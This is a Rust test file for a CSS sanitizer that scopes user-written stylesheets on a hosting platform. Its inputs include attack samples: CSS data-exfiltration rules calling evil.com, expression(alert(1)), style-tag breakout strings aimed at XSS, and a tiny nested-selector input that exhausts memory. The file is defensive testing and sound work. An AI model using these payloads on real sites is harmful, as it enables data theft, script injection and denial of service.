//! Tests for [`super`]. #[test] fn nested_amplification_is_refused_before_it_is_flattened() { // The css soak target's second finding (infra `bd562c12`): 167 bytes of // nested `&` selectors allocated 2.1 GB, because the complexity caps // count the parsed tree additively and flattening multiplies. Measured // growth was ~30x per level -- 145 bytes in, 15 MB out, zero // rejections. Sanitization is render-time, so that is every visitor to // the page, not a slow save. let amp = "&".repeat(30); let css = format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}"); assert!(css.len() < 200, "the point is that the input is tiny"); let (out, rejections) = sanitize_css(&css, "abc", &test_policy()); assert!( out.is_empty(), "an unsafe sheet renders as nothing: {out:.200}" ); assert!( rejections .iter() .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)), "refusal must be recorded as a complexity limit: {rejections:?}" ); } #[test] fn ordinary_nesting_is_not_refused() { // The guard is worthless if it refuses real pages. Nesting is standard // CSS and the parser enables it deliberately. for css in [ ".card { color: red; &:hover { color: blue } }", "h1,h2,h3 { &:hover, &:focus { color: red } }", ".a { .b { .c { color: red } } }", "@media print { .a { &:hover { color: red } } }", ] { let (out, rejections) = sanitize_css(css, "abc", &test_policy()); assert!( !rejections .iter() .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)), "ordinary nesting was refused: {css:?} -> {rejections:?}" ); assert!( !out.is_empty(), "ordinary nesting produced nothing: {css:?}" ); } } fn test_policy() -> UrlPolicy { UrlPolicy::new( "https://u.makenot.work/alice/proj", ["makenot.work".to_string(), "u.makenot.work".to_string()], ) .unwrap() } use super::*; const SCOPE: &str = "11111111-1111-1111-1111-111111111111"; fn policy() -> UrlPolicy { UrlPolicy::new( "https://u.makenot.work/alice/proj", [ "makenot.work".to_string(), "u.makenot.work".to_string(), "cdn.makenot.work".to_string(), ], ) .unwrap() } fn san(css: &str) -> (String, Vec) { sanitize_css(css, SCOPE, &policy()) } fn scoped(css: &str) -> String { san(css).0 } #[test] fn empty_input_is_empty() { assert_eq!(san("").0, ""); assert_eq!(san(" ").0, ""); } #[test] fn scopes_plain_selectors() { let out = scoped("p { color: red }"); assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 p")); } #[test] fn neutralizes_body_and_root_escape() { let out = scoped("body { background: blue } :root { color: green }"); // Both are confined under the canvas (descendant), matching nothing outside. assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body")); assert!(!out.contains("\nbody")); assert!(!out.starts_with("body")); } #[test] fn rejects_import() { let (out, rej) = san("@import url(https://evil.com/x.css); p { color: red }"); assert!(!out.contains("@import")); assert!(!out.contains("evil.com")); assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule)); assert!(out.contains("color")); } #[test] fn rejects_namespace_and_moz_document() { let (out, rej) = san("@namespace url(http://x); @-moz-document url-prefix() { p {color:red} }"); assert!(!out.to_lowercase().contains("namespace")); assert!(!out.to_lowercase().contains("moz-document")); assert!( rej.iter() .filter(|r| r.kind == RejectionKind::BlockedAtRule) .count() >= 2 ); } #[test] fn allows_media_and_keyframes_and_fontface() { let out = scoped( "@media (min-width: 600px) { .wide { color: red } } \ @keyframes spin { from {opacity:0} to {opacity:1} }", ); assert!(out.contains("@media")); assert!(out.contains("@keyframes")); // The media rule's inner selector is scoped... assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 .wide")); // ...but @keyframes stays global (not nested under the canvas). assert!(out.contains("@keyframes spin")); } #[test] fn external_url_in_background_is_neutralized() { let (out, rej) = san(".x { background: url(https://evil.com/y.png) }"); assert!(!out.contains("evil.com")); assert!(rej.iter().any(|r| r.kind == RejectionKind::ExternalUrl)); } #[test] fn internal_and_relative_urls_kept() { let out = scoped(".a{background:url(/static/p.png)} .b{background:url(https://cdn.makenot.work/x)}"); assert!(out.contains("/static/p.png")); assert!(out.contains("cdn.makenot.work/x")); } #[test] fn attribute_selector_exfiltration_blocked() { // The classic CSS data-exfiltration trick: url() must be dropped. let (out, _) = san("input[value^=\"a\"] { background: url(//evil.com/a) }"); assert!(!out.contains("evil.com")); } #[test] fn mnw_hiding_properties_stripped() { let (out, rej) = san(".mnw-buy { display: none; color: red }"); assert!(!normalize(&out).contains("display:none")); assert!(out.contains("color")); assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty)); } #[test] fn mnw_hiding_via_has_stripped() { let (_out, rej) = san("*:has(.mnw-files) { opacity: 0 }"); assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty)); } #[test] fn non_mnw_hiding_is_allowed() { let (out, rej) = san(".myclass { display: none }"); assert!(normalize(&out).contains("display:none")); assert!(!rej.iter().any(|r| r.kind == RejectionKind::HidingProperty)); } #[test] fn mnw_widened_hiding_properties_stripped() { // UX-M4: clip-path, font-size:0, and off-screen text-indent are all hides. for decl in [ "clip-path: inset(100%)", "font-size: 0", "text-indent: -9999px", "max-height: 0", "clip: rect(0, 0, 0, 0)", ] { let (_out, rej) = san(&format!(".mnw-buy {{ {decl} }}")); assert!( rej.iter().any(|r| r.kind == RejectionKind::HidingProperty), "expected {decl} to be treated as hiding" ); } } #[test] fn reduced_motion_appended() { let out = scoped("p { color: red }"); assert!(out.contains("prefers-reduced-motion")); assert!(out.trim_end().ends_with('}')); } #[test] fn fast_infinite_animation_dropped() { let (out, rej) = san(".spin { animation: spin 1s infinite }"); assert!(!normalize(&out).contains("animation:spin")); assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget)); } #[test] fn slow_infinite_animation_kept() { let (out, rej) = san(".spin { animation: spin 3s infinite }"); assert!(out.to_lowercase().contains("animation")); assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget)); } #[test] fn fast_high_finite_count_animation_dropped() { // UX-M5: a fast animation with a high *finite* iteration-count strobes too, // not just `infinite`. let (out, rej) = san(".spin { animation: spin 1s linear 100 }"); assert!(!normalize(&out).contains("animation:spin")); assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget)); // Explicit property form is caught as well. let (_out2, rej2) = san( ".spin { animation-name: spin; animation-duration: 0.5s; animation-iteration-count: 50 }", ); assert!( rej2.iter() .any(|r| r.kind == RejectionKind::AnimationBudget) ); } #[test] fn fast_low_finite_count_animation_kept() { // A handful of iterations at a fast duration is fine, not a strobe. let (out, rej) = san(".spin { animation: spin 1s linear 3 }"); assert!(out.to_lowercase().contains("animation")); assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget)); } #[test] fn expression_function_recorded() { let (out, rej) = san(".x { width: expression(alert(1)) }"); assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedFunction)); // Behavior must match the "blocked" contract: the output must not contain // a working expression() call or its payload. let lower = out.to_ascii_lowercase(); assert!( !lower.contains("expression("), "expression() must be neutralized in output: {out}" ); assert!( !lower.contains("alert(1)"), "expression() payload must be stripped: {out}" ); } #[test] fn brace_injection_cannot_escape_scope() { // A creator trying to break out of the wrapper: the parse round-trip // makes the stray brace a no-op, so nothing lands unscoped. let out = scoped("color: red } body { background: red"); assert!(!out.contains("\nbody {")); assert!(!out.contains("} body{")); } #[test] fn platform_chrome_is_unreachable_from_creator_css() { // The guarantee behind `templates/custom/_chrome_style.html`. The header // and footer are siblings of the canvas, not descendants, so a creator // rule that names them is still emitted under the canvas and matches // nothing. This holds by structure, not by specificity or cascade layer, // which is why the chrome block needs no !important and no layer of its // own. const CANVAS: &str = ".user-canvas#uc-11111111-1111-1111-1111-111111111111"; for attempt in [ ".mnw-chrome { display: none }", ".mnw-chrome { background: red }", ".mnw-chrome-footer a { color: red }", "body .mnw-chrome { background: red }", "html body .mnw-chrome-brand { font-weight: 100 }", "* { background: red }", ":root .mnw-chrome { background: red }", ".mnw-chrome-actions, .mnw-chrome-brand { visibility: hidden }", ] { let out = scoped(attempt); for line in out.lines().filter(|l| l.contains(".mnw-chrome")) { assert!( line.contains(CANVAS), "a chrome selector escaped the canvas: {line}\nfrom: {attempt}" ); } // Nothing may be emitted at the top level of the sheet. assert!( !out.trim_start().starts_with(".mnw-chrome"), "unscoped chrome rule from: {attempt}" ); } } #[test] fn idempotent_on_sanitized_output() { let once = scoped("p{color:red} .mnw-buy{display:none} .x{background:url(https://evil.com/y)}"); let twice = scoped(&once); // Scoping a second time nests under the canvas again but must stay safe: // no external host, no display:none on mnw, reduced-motion present. assert!(!twice.contains("evil.com")); assert!(twice.contains("prefers-reduced-motion")); } #[test] fn unsafe_scope_refused() { let (out, rej) = sanitize_css("p{color:red}", "evil}injection", &policy()); assert_eq!(out, ""); assert_eq!(rej.len(), 1); assert_eq!(rej[0].kind, RejectionKind::MalformedCss); } /// Minify sanitized output so each rule is `selector{decls}` on no /// whitespace, for invariant checks. fn minify(css: &str) -> String { StyleSheet::parse(css, parser_options()) .unwrap() .to_css(PrinterOptions { minify: true, ..Default::default() }) .unwrap() .code } #[test] fn universal_and_not_selectors_are_scoped() { // Selectors that classically escape a scope must all end up confined to // the canvas: no rule may begin with a bare html/body/* selector. for css in [ "* { color: red }", ":not(.x) { color: red }", "html, body { color: red }", ":root { color: red }", ] { let out = minify(&scoped(css)); for bad in ["}*{", "}body{", "}html{", "}:root{"] { assert!(!out.contains(bad), "unscoped `{bad}` in: {out}"); } for bad in ["^*{", "^body{", "^html{"] { let lead = bad.trim_start_matches('^'); assert!( !out.starts_with(lead), "leads with unscoped `{lead}`: {out}" ); } assert!(out.contains(".user-canvas#uc-"), "scope missing: {out}"); } } #[test] fn media_wrapped_escape_is_scoped() { let out = scoped("@media screen { body { background: red } }"); assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body")); } #[test] fn style_tag_breakout_via_content_string_is_neutralized() { // The sanitized output is injected raw into `` // (templates/custom/*.html). The most direct stored-XSS attempt is a // declaration whose value is a string closing the tag and opening a // script. The serializer must never emit a literal `` (or a bare // `" }"#, r".x::before { content: '' }", r#".x { content: "\3c /style\3e ") }"#, ] { let out = scoped(css); let lower = out.to_lowercase(); assert!( !lower.contains(""), "literal escaped the block for input `{css}`: {out}" ); assert!( !lower.contains("